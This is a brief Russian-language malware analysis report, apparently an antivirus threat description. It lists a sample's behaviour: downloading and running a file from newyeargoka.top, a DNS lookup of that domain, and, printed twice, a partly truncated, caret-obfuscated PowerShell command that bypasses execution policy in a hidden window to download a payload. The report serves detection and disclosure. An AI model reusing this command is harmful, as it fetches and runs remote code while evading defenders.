Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://newyeargoka.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /c "poWerShE^ll^.Ex^e ^-EX^E^CUtIOnP^OLi^CY by^pasS ^-noP^RoF^I^Le^ -^wi^Ndow^s^tylE^ ^hI^DD^En (^NE^W^-o^bjecT S^Yste^M.^neT.^w^EBC^lI^en^t).Do^WN^L^OadFi^l^e('http://newyearg...
Сетевая активность
UDP
- DNS ASK ne###argoka.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c "poWerShE^ll^.Ex^e ^-EX^E^CUtIOnP^OLi^CY by^pasS ^-noP^RoF^I^Le^ -^wi^Ndow^s^tylE^ ^hI^DD^En (^NE^W^-o^bjecT S^Yste^M.^neT.^w^EBC^lI^en^t).Do^WN^L^OadFi^l^e('http://newyearg...' (со скрытым окном)
